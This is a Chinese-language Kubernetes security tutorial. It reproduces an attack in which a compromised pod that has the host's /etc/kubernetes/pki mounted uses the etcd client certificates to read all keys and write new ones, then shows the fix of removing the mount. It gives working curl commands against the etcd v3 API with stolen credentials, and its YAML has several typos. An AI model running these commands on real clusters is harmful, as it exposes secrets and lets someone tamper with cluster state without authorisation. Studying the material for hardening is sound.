背景
据悉,一个运行在单节点 Kubernetes 上的证书管理工具能够读取 TLS 证书以访问 API Server的 etcd 存储。黑客已入侵该管理工具APP,并利用此读取访问权限来获取集群中其他的权限进而掌控整个系统。本文将重现攻击以验证漏洞并了解如何修复它。
攻击重现
假设,现集群中存在一个可访问节点etcd证书的Pod,且已被侵入。该部分将演示一个拥有该Pod访问权限的攻击者如何使用Client证书通过 Etcd TLS身份验证来获取数据。
请注意,出于安全原因,Pods通常不会运行在控制平面节点上,但这可能会发生在单节点集群或者某些配置中。
步骤
- 首先, 当前的K8S集群中部署有如下Resource :
---
apiVersion: apps/vl
kind: Deployment
metadata:
name: cert-watcher
spec:
selector:
matchlabels:
name: cert-watcher
replicas: 1
template:
metadata:
labels:
name: cert-watcher
spec:
containers:
- name: cert-watcher
image: sf-alpine
imagePullPolicy: Never
command: ["sh"]
args: [ "-C", "exec sleep infinity" ]
volumeMounts:
- name: certs1
mount Path: "/certs1"
readonly: true
- name: certs2
mount Path: "/certs2"
readonly: true
volumes:
- name: certs1
hostPath:
path: /etc/kubernetes/pki/
type: Directory
- name: certs2
hostPath:
path: /usr/share/ca-certificates/mozilla/
type: Directory
2.可以观察到 cert-watcher
这个容器挂载了两个存放certificate的文件夹, /etc/kubernetes/pki/
和 /usr/share/ca-certificates/mozilla/
3.接着,进入到 cert-watcher
Pod 中找到所需要的cert
并模拟攻击,运行如下命令
kubectl exec -it cert-watcher-xxx-xxx -- bash
- 打开另一个终端,运行如下命令尝试获取 etcd服务的IP 地址
kubectl -n kube-system get Pod etcd-sf-node-1 --template={{.status.podIP}}
注意:攻击者即使在已侵入的POD中也可以通过IP地址扫描的方式获取到etcd IP 地址
- 在
cert-watcher
这个POD中, 尝试使用curl 去访问etcd 服务来确认etcd是否开启certificate-based 验证 ,运行如下命令curl -k https://<etcd ip>:2379/version
可以看到,由于基于TLS的身份验证是用必须带有client证书访问的,因此这个请求会失败,我们应该会收到一个验证错误。
- 接着,重复上面的curl请求,这次我们带上存放在
/certs1/etcd
目录下证书,该证书已挂载在POD中 ,命令如下
curl -k --cacert /certs1/etcd/ca.crt --cert /certs1/etcd/server.crt --key /certs1/etcd/server.key https://<etcd ip>:2379/version
观察到这次我们成功地通过了验证,并且访问了/version
这个endpoint.
- 同样地,我们可以用此证书去获取etcd中更多的访问,运行如下命令获取所有的key
curl -k --cacert /certs1/etcd/ca.crt --cert /certs1/etcd/server.crt --key /certs1/etcd/server.key -X POST -d '{"key": "AA==", "range_end": "Zm9w"}' https://<etcd ip>:2379/v3/kv/range
- 甚至我们可以写入新的key来验证是否拥有ETCD写权限。(注意,etcd中数据以base64格式存放),如下尝试新写入{ a:b } 键值对
curl -k --cacert /certs1/etcd/ca.crt --cert /certs1/etcd/server.crt --key /certs1/etcd/server.key https://<etcd ip>:2379/v3/kv/put -d '{"key":"'$(base64<<<a)'","value":"'$(base64<<<b)'"}'
其他ETCD查询语句可以从官方文档获取
解决方案
思路
从上面的实验我们可以看到,若攻击者已侵入一个具有访问集群ETCD的 管理工具POD并获得访问权限,攻击者可以通过证书访问进一步获取到ETCD中更多敏感信息,造成极大安全隐患。因此,我们必须采取措施杜绝此类安全侵入的可能性。
在此案例中,只要确保cert-watche
容器无法访问本地文件系统中的证书,即可防止被攻击的风险
说明
- 观察到
exercise.yaml
文件中/etc/kubernetes/pki/
是如何被挂载的,只要删除该挂载卷部分即可
volumeMounts:
- name: certs1
mount Path: "/certs1"
readonly: true
volumes:
- name: certs1
hostPath:
path: /etc/kubernetes/pki/
type: Directory
- 重复以上同样的的curl请求,这次我们带上存放在
/certs1/etcd
目录下证书,会出现证书报错,以此拒绝ETCD证书暴露攻击
原文链接:
关注公众号:Ai说sre
回复“CKA”, 可获取CKA相关资料